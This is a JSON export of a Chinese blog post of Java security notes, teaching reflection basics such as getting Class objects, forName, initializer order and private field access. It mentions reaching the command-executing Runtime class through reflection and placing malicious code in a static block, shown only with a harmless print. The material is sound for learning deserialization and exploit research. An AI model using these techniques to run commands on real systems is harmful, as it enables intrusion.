{"id":976,"date":"2023-01-30T14:53:47","date_gmt":"2023-01-30T06:53:47","guid":{"rendered":"https:\/\/fushuling.com\/?p=976"},"modified":"2025-05-15T23:49:12","modified_gmt":"2025-05-15T15:49:12","slug":"java%e5%ae%89%e5%85%a8%e7%ac%94%e8%ae%b0","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/01\/30\/java%e5%ae%89%e5%85%a8%e7%ac%94%e8%ae%b0\/","title":{"rendered":"JAVA\u5b89\u5168\u7b14\u8bb0(\u6301\u7eed\u66f4\u65b0\u4e2d)"},"content":{"rendered":"\n<p>\u62fc\u640f\u767e\u5929\uff0c\u6211\u8981\u5f53Java\u9ad8\u624b\uff01<\/p>\n\n\n\n<p>\u4e0b\u9762\u7684\u7b14\u8bb0\u6765\u81ea\u4e8e\u5bf9\u4e8ep\u795e\u7684Java\u5b89\u5168\u6f2b\u8c08\u7684\u5b66\u4e60\uff0c\u540c\u65f6\u53c2\u8003\u4e86\u5f88\u591a\u5e74\u6ca1\u66f4\u65b0\u7684huamang\u54e5\u54e5\u7684\u535a\u5ba2\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u53cd\u5c04<\/h1>\n\n\n\n<p>Java \u4e2d\u7684\u53cd\u5c04\uff08Reflection\uff09\u662f\u4e00\u79cd\u5728\u8fd0\u884c\u65f6\u52a8\u6001\u5730\u8bbf\u95ee\u3001\u68c0\u67e5\u3001\u4fee\u6539\u7c7b\u53ca\u5176\u6210\u5458\uff08\u5982\u5b57\u6bb5\u3001\u65b9\u6cd5\u3001\u6784\u9020\u5668\u7b49\uff09\u7684\u673a\u5236\u3002\u901a\u8fc7\u53cd\u5c04\uff0cJava \u7a0b\u5e8f\u80fd\u591f\u5728\u8fd0\u884c\u65f6\u83b7\u5f97\u7c7b\u7684\u4fe1\u606f\uff08\u5982\u7c7b\u7684\u540d\u79f0\u3001\u65b9\u6cd5\u3001\u5b57\u6bb5\u7c7b\u578b\u7b49\uff09\uff0c\u5e76\u4e14\u53ef\u4ee5\u5728\u8fd0\u884c\u65f6\u4fee\u6539\u7c7b\u7684\u7ed3\u6784\uff0c\u8c03\u7528\u7c7b\u7684\u65b9\u6cd5\uff0c\u751a\u81f3\u5b9e\u4f8b\u5316\u5bf9\u8c61\u3002<\/p>\n\n\n\n<p>Java \u7684\u53cd\u5c04 API \u63d0\u4f9b\u4e86\u4e00\u7cfb\u5217\u7684\u7c7b\u548c\u63a5\u53e3\u6765\u64cd\u4f5c Class \u5bf9\u8c61\u3002\u4e3b\u8981\u7684\u7c7b\u5305\u62ec\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>java.lang.Class<\/code><\/strong>\uff1a\u8868\u793a\u7c7b\u7684\u5bf9\u8c61\u3002\u63d0\u4f9b\u4e86\u65b9\u6cd5\u6765\u83b7\u53d6\u7c7b\u7684\u5b57\u6bb5\u3001\u65b9\u6cd5\u3001\u6784\u9020\u51fd\u6570\u7b49\u3002<\/li>\n\n\n\n<li><strong><code>java.lang.reflect.Field<\/code><\/strong>\uff1a\u8868\u793a\u7c7b\u7684\u5b57\u6bb5\uff08\u5c5e\u6027\uff09\u3002\u63d0\u4f9b\u4e86\u8bbf\u95ee\u548c\u4fee\u6539\u5b57\u6bb5\u7684\u80fd\u529b\u3002<\/li>\n\n\n\n<li><strong><code>java.lang.reflect.Method<\/code><\/strong>\uff1a\u8868\u793a\u7c7b\u7684\u65b9\u6cd5\u3002\u63d0\u4f9b\u4e86\u8c03\u7528\u65b9\u6cd5\u7684\u80fd\u529b\u3002<\/li>\n\n\n\n<li><strong><code>java.lang.reflect.Constructor<\/code><\/strong>\uff1a\u8868\u793a\u7c7b\u7684\u6784\u9020\u51fd\u6570\u3002\u63d0\u4f9b\u4e86\u521b\u5efa\u5bf9\u8c61\u7684\u80fd\u529b\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u4e00\u822c\u6765\u8bf4\uff0c\u53cd\u5c04\u7684\u5de5\u4f5c\u6d41\u7a0b\u662f\uff1a\u83b7\u53d6Class\u5bf9\u8c61=&gt;\u83b7\u53d6\u6210\u5458\u4fe1\u606f(\u901a\u8fc7Class\u83b7\u53d6\u5b57\u6bb5\u3001\u65b9\u6cd5\u3001\u6784\u9020\u51fd\u6570\u7b49)=&gt;\u64cd\u4f5c\u6210\u5458(\u8bfb\u53d6\u6216\u8005\u4fee\u6539\u503c\u3001\u8c03\u7528\u65b9\u6cd5\u3001\u521b\u5efa\u5bf9\u8c61\u7b49)<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u57fa\u672c\u64cd\u4f5c<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u83b7\u53d6\u5bf9\u8c61<\/h3>\n\n\n\n<p>\u4e00\u5171\u6709\u4e09\u79cd\u65b9\u6cd5\u83b7\u53d6\u5bf9\u8c61\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u901a\u8fc7\u7c7b\u7684\u5b57\u9762\u91cf\uff1a<code>Class&lt;?&gt; clazz = String.class;<\/code><\/li>\n\n\n\n<li>\u901a\u8fc7\u5bf9\u8c61\u5b9e\u4f8b\uff1a<code>String str = \"Hello\"; Class&lt;?&gt; clazz = str.getClass();<\/code><\/li>\n\n\n\n<li>\u901a\u8fc7 <code>Class.forName()<\/code>\u65b9\u6cd5<code>\uff1aClass&lt;?&gt; clazz = Class.forName(\"java.lang.String\");<\/code><\/li>\n<\/ul>\n\n\n\n<p>\u4e09\u79cd\u65b9\u6cd5\u6709\u4ec0\u4e48\u5dee\u522b\u5462\uff1f<\/p>\n\n\n\n<p>\u5bf9\u4e8e\u7b2c\u4e00\u79cd\u65b9\u6cd5\uff0c\u5373\u901a\u8fc7\u7c7b\u7684\u5b57\u9762\u91cf\u83b7\u53d6\u5bf9\u8c61\u662f\u9700\u8981\u4f60\u7f16\u8bd1\u65f6\u5df2\u77e5\u7c7b(\u6bd4\u5982String\u7c7b)\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528 <code>.class<\/code> \u8bed\u6cd5\u83b7\u53d6 <code>Class<\/code> \u5bf9\u8c61\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) {\n        Class&lt;?&gt; clazz = Test.class;\n        System.out.println(\"Class obtained using .class: \" + clazz.getName());\n\n        Class&lt;?&gt; clazz2 = String.class;\n        System.out.println(\"Class obtained using .class: \" + clazz2.getName());\n    }\n}\n\nclass Test {\n\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-214021-19-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-214021-19-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6211\u7528\u4e86\u4e24\u79cd\u65b9\u6cd5\u83b7\u53d6Class\uff0c\u7b2c\u4e00\u79cd\u662f\u8fd9\u4e2a\u4ee3\u7801\u91cc\u5b9a\u4e49\u7684Test\u7c7b\uff0c\u7b2c\u4e8c\u79cd\u662f\u9ed8\u8ba4\u6709\u7684String\u7c7b\uff0c\u5bf9\u4e8e\u8fd9\u79cd\u6211\u4eec\u5df2\u7ecf\u52a0\u8f7d\uf9ba\u7684\u7c7b\uff0c\u53ea\u9700\u8981\u76f4\u63a5\u4f7f\u7528.class\u5373\u53ef\u83b7\u53d6Class\u3002<\/p>\n\n\n\n<p>\u800c\u5bf9\u4e8e\u7b2c\u4e8c\u79cd\u60c5\u51b5\uff0c\u6211\u4eec\u9700\u8981\u5df2\u7ecf\u6709\u4e00\u4e2a\u5bf9\u8c61\u5b9e\u4f8b\uff0c\u624d\u80fd\u4f7f\u7528.getClass()\u83b7\u53d6\u4ed6\u7684Class<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) {\n        String str = \"Hello, World!\";\n        Class&lt;?&gt; clazz = str.getClass();\n        System.out.println(\"Class obtained using getClass(): \" + clazz.getName());\n\n        Test a = new Test();\n        Class&lt;?&gt; clazz2 = a.getClass();\n        System.out.println(\"Class obtained using getClass(): \" + clazz2.getName());\n    }\n}\n\nclass Test {\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-214523-19-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-214523-19-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u6211\u540c\u6837\u7528\u4e86\u4e24\u79cd\u65b9\u6cd5\u83b7\u53d6\uff0c\u4e00\u79cd\u662f\u7528String str=xxx\u8fdb\u884c\u8d4b\u503c(\u8fd9\u4e2a\u5176\u5b9e\u76f8\u5f53\u4e8e\u7279\u6b8a\u7684String\u5b9e\u4f8b\u5316\u8fc7\u7a0b)\uff0c\u53e6\u4e00\u79cd\u662f\u628a\u6211\u4eec\u8fd9\u91cc\u5b9a\u4e49\u7684Test\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u83b7\u53d6\u7684Class<\/p>\n\n\n\n<p>\u7b2c\u4e09\u79cd\u60c5\u51b5\u76f8\u5bf9\u6700\u7b80\u5355\uff0c\u5982\u679c\u4f60\u77e5\u9053\u67d0\u4e2a\u7c7b\u7684\u540d\u5b57\uff0c\u60f3\u83b7\u53d6\u5230\u8fd9\u4e2a\u7c7b\uff0c\u5c31\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528 forName \u6765\u83b7\u53d6\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        Class&lt;?&gt; clazz = Class.forName(\"java.lang.String\");\n        System.out.println(\"Class obtained using Class.forName(): \" + clazz.getName());\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-215047-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-215047-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6bd4\u5982\u6211\u4eec\u77e5\u9053String\u7684\u5168\u540d\u662fjava.lang.String\uff0c\u5c31\u53ef\u4ee5\u7528<code>Class.forName(\"java.lang.String\")<\/code>\u83b7\u53d6\u8fd9\u4e2aClass\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u79cd\u65b9\u6cd5\u76f8\u5bf9\u800c\u8a00\u6700\u7b80\u5355\uff0c\u4ee3\u4ef7\u5c31\u662f\u5176\u4ed6\u4e24\u79cd\u65b9\u6cd5\u4e0d\u9700\u8981throws Exception\uff0c\u800c\u8fd9\u79cd\u65b9\u6cd5\u7531\u4e8e\u8fd0\u884c\u65f6\u53ef\u80fd\u627e\u4e0d\u5230\u6307\u5b9a\u7684\u7c7b\uff0c\u6240\u4ee5\u5fc5\u987b\u629b\u51fa\u5f02\u5e38\u3002<\/p>\n\n\n\n<p>\u8fd9\u79cd\u52a8\u6001\u7684\u6267\u884c\u65b9\u6cd5\u4e5f\u4e3a\u6211\u4eec\u5b89\u5168\u4eba\u5458\u63d0\u4f9b\u4e86\u53ef\u4e58\u4e4b\u673a\uff0c\u5373\u4f7f\u4e0a\u4e0b\u6587\u4e2d\u53ea\u6709Integer\u7c7b\u578b\u7684\u6570\u5b57\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u53ef\u4ee5\u6267\ufa08\u547d\u4ee4\u7684Runtime\u7c7b\uff1a<code>1.getClass().forName(\"java.lang.Runtime\")<\/code>\u3002(\u771f\u597d\uff0c\u6ca1\u6709\u8fd9\u4e9b\u52a8\u6001\u7684\u6267\u884c\u65b9\u5f0f\uff0c\u6211\u4eec\u5b89\u5168\u4eba\u5458\u5c31\u6ca1\u996d\u5403\u4e86)<\/p>\n\n\n\n<p>\u5bf9\u4e8eforName\u5b9e\u9645\u4e0a\u6709\u4e24\u4e2a\u51fd\u6570\u91cd\u8f7d\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>Class.forName(className)<\/code><\/li>\n\n\n\n<li><code>Class.forName(className, true, currentLoader<\/code>)<\/li>\n<\/ul>\n\n\n\n<p>\u867d\u7136\u4e8c\u8005\u672c\u8d28\u4e0a\u5dee\u4e0d\u592a\u591a\uff0c\u4f46\u5176\u5b9e\u7b2c\u4e00\u79cd\u7528\u6cd5\u53ea\u662f\u7b2c\u4e8c\u79cd\u65b9\u6cd5\u7684\u4e00\u4e2a\u5c01\u88c5\uff0c\u4e5f\u5c31\u63a9\u76d6\u4e86\u4e0d\u5c11\u7684\u7ec6\u8282\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c forName \u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u540d\uff1b\u7b2c\u2f06\u4e2a\u53c2\u6570\u8868\u793a\u662f\u5426\u521d\u59cb\u5316\uff1b\u7b2c\u4e09\u4e2a\u53c2\u6570\u5c31\u662f ClassLoader(\u7c7b\u7684\u52a0\u8f7d\u5668)\u3002\u662f\u5426\u521d\u59cb\u5316\u8fd9\u4e2a\u53c2\u6570\u5176\u5b9e\u662f\u544a\u8bc9JVM\u662f\u5426\u6267\ufa08\u201d\u7c7b\u521d\u59cb\u5316\u201c\uff0c\u5728 forName \u7684\u65f6\u5019\uff0c\u6784\u9020\u51fd\u6570\u5e76\u4e0d\u4f1a\u6267\u884c\uff0c\u800c\u662f\u6267\u884c\u7c7b\u521d\u59cb\u5316\uff0c\u4e5f\u5c31\u662f\u4f1a\u6267\u884c<code>static{}<\/code>\u9759\u6001\u5757\u91cc\u9762\u7684\u5185\u5bb9\u3002<\/p>\n\n\n\n<p>\u8fd9\u6837\u8bf4\u8d77\u6765\u53ef\u80fd\u4f1a\u6709\u70b9\u62bd\u8c61\uff0c\u8fd9\u91cc\u8bb2\u8bb2Java\u7684\u4e09\u79cd\u4ee3\u7801\u5757\uff1a<strong>\u9759\u6001\u521d\u59cb\u5316\u5757\uff08static block\uff09<\/strong>\u3001<strong>\u5b9e\u4f8b\u521d\u59cb\u5316\u5757\uff08instance initializer block\uff09<\/strong> \u548c <strong>\u6784\u9020\u65b9\u6cd5\uff08constructor\uff09<\/strong>\uff0c\u5bf9\u4e8e\u4e0b\u9762\u7684\u4ee3\u7801\uff0c\u6267\u884c\u7ed3\u679c\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        new Test();\n    }\n}\n\nclass Test {\n    public Test() {\n        System.out.println(\"\u6211\u662f\u6784\u9020\u65b9\u6cd5\");\n    }\n\n    static {\n        System.out.println(\"\u6211\u662f\u9759\u6001\u521d\u59cb\u5316\u5757\");\n    }\n\n    {\n        System.out.println(\"\u6211\u662f\u5b9e\u4f8b\u521d\u59cb\u5757\");\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-220953-19-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-220953-19-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:707px;height:auto\"\/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u9759\u6001\u521d\u59cb\u5316\u5757\uff08<code>static {}<\/code>\uff09\u5728\u7c7b\u88ab\u52a0\u8f7d\u5230 JVM \u65f6\u6267\u884c\uff0c\u4ec5\u6267\u884c\u4e00\u6b21\uff0c\u53ea\u80fd\u8bbf\u95ee\u9759\u6001\u6210\u5458\uff0c\u540c\u65f6\u5728\u4efb\u4f55\u5bf9\u8c61\u521b\u5efa\u4e4b\u524d\u6267\u884c\u3002<\/li>\n\n\n\n<li>\u5b9e\u4f8b\u521d\u59cb\u5316\u5757\uff08<code>{}<\/code>\uff09\u6bcf\u6b21\u521b\u5efa\u5bf9\u8c61\u65f6\uff0c\u5728\u6784\u9020\u65b9\u6cd5\u4e4b\u524d\u6267\u884c\u3002<\/li>\n\n\n\n<li>\u6784\u9020\u65b9\u6cd5\uff08<code>public ClassName() {}<\/code>\uff09\u6bcf\u6b21\u521b\u5efa\u5bf9\u8c61\u65f6\uff0c\u5728\u5b9e\u4f8b\u521d\u59cb\u5316\u5757\u4e4b\u540e\u6267\u884c\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u800cforName\u7684\u8fd9\u4e2a\u53c2\u6570\u5c31\u662f\u63a7\u5236\u9759\u6001\u521d\u59cb\u5316\u5757\u7684\uff0c\u53ef\u4ee5\u770b\u5230\u5b83\u7684\u4f18\u5148\u7ea7\u975e\u5e38\u9ad8\uff0c\u5982\u679c\u6211\u4eec\u53ef\u4ee5\u7f16\u5199\u6076\u610f\u7c7b\uff0c\u5c31\u53ef\u4ee5\u628a\u6076\u610f\u4ee3\u7801\u653e\u5728static{}\u91cc\uff0c\u7136\u540e\u7528\u7b2c\u4e8c\u4e2a\u53c2\u6570\u76f4\u63a5\u5bf9\u8fd9\u4e2a\u7c7b\u8fdb\u884c\u8c03\u7528\uff0c\u6bd4\u5982\u6211\u4eec\u73b0\u5728\u518d\u6539\u52a8\u4e00\u4e0b\u4ee3\u7801\u770b\u770b\u6267\u884c\u7ed3\u679c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        Class&lt;?&gt; clazz = Class.forName(\"chapter10.Test\");\n    }\n}\n\nclass Test {\n    public Test() {\n        System.out.println(\"\u6211\u662f\u6784\u9020\u65b9\u6cd5\");\n    }\n\n    static {\n        System.out.println(\"hacked by fushuling\");\n    }\n\n    {\n        System.out.println(\"\u6211\u662f\u5b9e\u4f8b\u521d\u59cb\u5757\");\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-221555-19-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-221555-19-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:612px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u521b\u5efa\u5bf9\u8c61<\/h3>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u53cd\u5c04\u52a8\u6001\u521b\u5efa\u5bf9\u8c61\uff0c\u7528\u6cd5\u5c31\u662f<code>Class&lt;?&gt; clazz = Class.forName(\"java.lang.String\");<br>Object obj = clazz.getDeclaredConstructor().newInstance();<\/code>\uff0c\u4e3b\u8981\u5c31\u662f\u83b7\u53d6Class\u4e4b\u540e\u8fdb\u884c\u4e00\u6b21<code>newInstance<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        Class&lt;?&gt; clazz = Class.forName(\"chapter10.Test\");\n        Object obj = clazz.getDeclaredConstructor().newInstance();\n    }\n}\n\nclass Test {\n    public Test() {\n        System.out.println(\"\u6211\u662f\u6784\u9020\u65b9\u6cd5\");\n    }\n\n    static {\n        System.out.println(\"hacked by fushuling\");\n    }\n\n    {\n        System.out.println(\"\u6211\u662f\u5b9e\u4f8b\u521d\u59cb\u5757\");\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-222132-19-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-222132-19-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:647px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u628a\u4e09\u4e2a\u4ee3\u7801\u5757\u90fd\u89e6\u53d1\u4e86\uff0c\u548c\u4e4b\u524d\u76f4\u63a5new\u4e00\u4e2a\u5bf9\u8c61\u7684\u6267\u884c\u7ed3\u679c\u5dee\u4e0d\u591a\u3002<\/p>\n\n\n\n<p>\u5f53\u7136\uff0c\u6bd4\u5982\u5bf9\u4e8e\u4e00\u4e2aFushuling\u7c7b\uff0c\u5728\u6211\u4eec\u83b7\u53d6Class\u540e\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u901a\u8fc7<code>Fushuling fushuling = (Fushuling) clazz.newInstance();<\/code>\u521b\u5efa\u5bf9\u8c61\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u8bbf\u95ee\u5b57\u6bb5<\/h3>\n\n\n\n<p>\u4e3b\u8981\u7684\u7528\u6cd5\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>clazz.getField(String name)\uff1a\u83b7\u53d6\u516c\u6709\u5b57\u6bb5\uff08\u5305\u62ec\u7ee7\u627f\u7684\uff09<\/li>\n\n\n\n<li>clazz.getDeclaredField(String name)\uff1a\u83b7\u53d6\u672c\u7c7b\u4e2d\u58f0\u660e\u7684\u5b57\u6bb5\uff08\u5305\u62ec\u79c1\u6709\u5b57\u6bb5\uff09<\/li>\n\n\n\n<li>field.setAccessible(true)\uff1a\u5141\u8bb8\u8bbf\u95ee\u79c1\u6709\u5b57\u6bb5<\/li>\n\n\n\n<li>field.get(Object obj)\uff1a\u83b7\u53d6\u5b57\u6bb5\u503c<\/li>\n\n\n\n<li>field.set(Object obj, Object value)\uff1a\u8bbe\u7f6e\u5b57\u6bb5\u503c<\/li>\n<\/ul>\n\n\n\n<p>\u4ee3\u7801\u793a\u4f8b\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package chapter10;\n\nimport java.lang.reflect.Field;\n\npublic class Java05_Reflect_test {\n    public static void main(String&#91;] args) throws Exception {\n        \/\/ 1. \u83b7\u53d6 Class \u5bf9\u8c61\n        Class&lt;?&gt; clazz = Class.forName(\"chapter10.Fushuling\");\n        \/\/ 2. \u5b9e\u4f8b\u5316\n        Fushuling fushuling = (Fushuling) clazz.newInstance();\n        \/\/ === \u8bbf\u95ee\u516c\u6709\u5b57\u6bb5 ===\n        Field publicField = clazz.getField(\"publicName\");\n        System.out.println(\"Public Field Value: \" + publicField.get(fushuling));\n        publicField.set(fushuling, \"yulate\");\n        System.out.println(\"Updated Public Field Value: \" + publicField.get(fushuling));\n\n        \/\/ === \u8bbf\u95ee\u79c1\u6709\u5b57\u6bb5 ===\n        Field privateField = clazz.getDeclaredField(\"privateAge\");\n        privateField.setAccessible(true); \/\/ \u5141\u8bb8\u8bbf\u95ee\u79c1\u6709\u5b57\u6bb5\n        System.out.println(\"Private Field Value: \" + privateField.get(fushuling));\n        privateField.set(fushuling, 25);\n        System.out.println(\"Updated Private Field Value: \" + privateField.get(fushuling));\n    }\n}\n\nclass Fushuling {\n    public String publicName = \"fushuling\";\n    private int privateAge = 20;\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-223828-19-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250419-223828-19-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" 